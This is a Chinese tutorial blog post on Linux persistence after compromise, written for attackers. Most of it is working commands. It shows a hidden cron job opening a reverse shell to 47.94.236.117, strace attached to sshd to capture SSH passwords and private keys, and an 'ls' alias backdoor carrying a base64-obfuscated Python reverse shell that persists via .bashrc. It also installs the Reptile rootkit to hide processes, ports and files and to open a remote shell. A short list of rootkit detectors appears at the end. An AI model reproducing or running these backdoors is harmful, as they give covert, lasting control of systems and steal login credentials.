第145天:内网安全-Linux权限维持&Rootkit后门&Strace监控&Alias别名&Cron定时任务

案例一:权限维持-Linux-定时任务-Cron后门

linux的计时任务,配置文件再/etc/crontab下

创建后门文件,这里可以创建成隐藏文件

复制代码
vim /etc/.back.sh

反弹shell的内容

#!/bin/bash
bash -i >& /dev/tcp/47.94.236.117/3333 0>&1

加上执行权限

编辑计时任务

kali开启监听就会执行一次

但是虽然隐藏了文件,但是查看计时任务还是会发现。

而且不管你怎么隐藏这里都会有一条建立连接的记录

案例二:权限维持-Linux-监控功能-Strace后门

strace 是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围

命令

复制代码
1、记录 sshd 明文
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshd.log &) 
查看文件
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshd.log


2、记录 sshd 私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshd.log &)

记录明文

这个记录的是通过ssh连接的密码

查看文件,会发现里面有一个123.com

每次连接一次,文件都会倍速增大,谨慎使用把

案例三:权限维持-Linux-命令自定义-Alias 后门

alias基本使用

临时添加alias命令

复制代码
alias 123="ls -l"
#添加

unalias 123
#删除

甚至都不用删除,关闭窗口就会失效,正常生产环境运行的linux系统一般都只有一个窗口,除非关机,否则会一致生效

写入到家目录下的 .bashrc文件,重启也不会失效

这里后续实验就写个临时的

基础版反弹shell

复制代码
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.172.130/4444 0>&1; };alerts'
# 执行完ls之后,执行反弹shell的命令

虽然能够反弹shell,但是看图中的结果也能看出来会卡住

所以现在如果能有不会影响命令执行,同时也不会卡住就是最好的,下面这段代码就能够实现这个效果。

复制代码
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC4xNzIuMTMwIiwgNDQ0NCkpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'

不过要进行一些修改,把base64解密,把ip换成自己的重新加密

执行不会卡住的同时,也会反弹shell

经过实验发现这一长串,写入~/.bashrc中也能够实现,不过得写到最后面不然可能会因为闭合问题影响结果

持续化利用

vim /etc/upload

vim ~/.bashrc

if -f /etc/upload ; then

. /etc/upload

fi

案例四:权限维持-Linux-内核加载 LKM-Rootkit 后门

先前面这几种情况,就算做了隐藏,查看端口一条命令也能发现与别的ip建立了连接,而使用Rootkit,可以把进程,端口,甚至文件全部都隐藏了,比较难以发现。

项目地址: Home · f0rb1dd3n/Reptile Wiki · GitHub

GitHub - f0rb1dd3n/Reptile: LKM Linux rootkit

适用环境,我用的centos7

普通玩法

上传解压后,一键运行脚本(centos7)

复制代码
$kernel=`uname -r`
  yum -y install perl vim gcc make g++ unzip
  yum -y localinstall kernel-devel-"$kernal".rpm
  cd Reptile-2.0/ && chmod +x ./setup.sh
  ./setup.sh install <<EOF
reptile
hax0r
s3cr3t
reptile
666
y
192.168.172.130
4444
1
EOF

安装完成

隐藏进程号

复制代码
nohup ping 114.114.114.114 &
#不断在后台ping 114.114.114.114

ps -ef | grep ping | grep -v grep
#查看ping的进程号

/reptile/reptile_cmd hide 4774
#隐藏进程号

ps -ef | grep ping | grep -v grep

可以发现这个进程直接没了但是还可以运行

隐藏/展示端口

复制代码
隐藏连接: /reptile/reptile_cmd udp hide

显示连接: /reptile/reptile_cmd tcp show

这里130的3333端口正在建立连接

执行命令后直接隐藏

甚至连文件当中带有reptile的都会隐藏

但是实验过程中发现在图形化界面当中并不会删除

进阶玩法

设置客户端,就是攻击主机需要他去连接被控主机,由于呢这里我只有centos7可以运行该程序,所以我就复制了一台centos7

这里呢攻击机的IP是192.168.172.139 被控主机的ip是192.168.172.142

被控主机设置的参数

类似于msf,进入客户端

复制代码
./setup.sh client

查看选项

选项

LHOST 192.168.172.139 Local host to receive the shell

LPORT 5555 Local port to receive the shell

SRCHOST 192.168.172.139 Source host on magic packets (spoof)

SRCPORT 666 Source port on magic packets (only for TCP/UDP)

RHOST 192.168.172.142 Remote host

RPORT 22 Remote port (only for TCP/UDP)

PROT TCP Protocol to send magic packet (ICMP/TCP/UDP)

PASS s3cr3t Backdoor password (optional)

TOKEN hax0r Token to trigger the shell

这个srcport是在安装过程中设置的

配置

运行后成功反射过来

可以上传文件,也可以反弹shell

利用shell执行命令,发现是142

但是呢这个软件还是有一些问题的,就比如说在最新的kali中客户端都装不了,就更别说服务器了,不太能够比较好的适配新的系统,并且已经2020年停止更新了。

关于Rootkit的检测:

linux平台下:chkrootkit、rkhunter、OSSEC、zeppoo等

Windows平台下:BlackLight、RootkitRevealer、Rootkit Hook Analyzer
GitHub - grayddq/GScan: 本程序旨在为安全应急响应人员对Linux主机排查时提供便利,实现主机侧Checklist的自动全面化检测,根据检测结果自动数据聚合,进行黑客攻击路径溯源。

相关推荐
小白的码BUG之路4 小时前
linux -- ssh两台机器相连
运维·服务器·ssh
FairGuard手游加固6 小时前
手游加固怎么做?SO、IL2CPP、AssetBundle 与运行时保护详解
安全·游戏·unity
缓慢更新6 小时前
表单引擎的存储建模:宽表与文档库的取舍
运维·服务器·网络·数据库·低代码·oracle·适配器模式
续写烂尾6 小时前
贴片 SD NAND、eMMC、TF 卡规格怎么定?硬件工程师选型清单
运维·服务器·网络
不昀6 小时前
网口Link Up后仍然掉线,怎样区分物理链路和数据通路问题?
linux·以太网
迪康妍妍6 小时前
终端管控实操:封堵网盘与IM外发通道的落地思路
运维·网络·安全·架构·安全性测试
sxgzzn6 小时前
如何选择合适的开关柜在线监测工具?
运维·重构·无人机·开关柜局放在线监测·光伏运维管理系统
kunicoding7 小时前
多线程编程核心概念详解:从线程基础到并发安全
java·jvm·安全
FinelyYang7 小时前
JeecgBoot + EuroOffice 协同文档在线编辑全栈接入指南(支持 JWT 安全校验)
安全
Lhan.zzZ7 小时前
Qt WebEngineView 在 Linux 上无法加载网页:从“看不见 HTML“到“禁用沙箱“
linux·c++·qt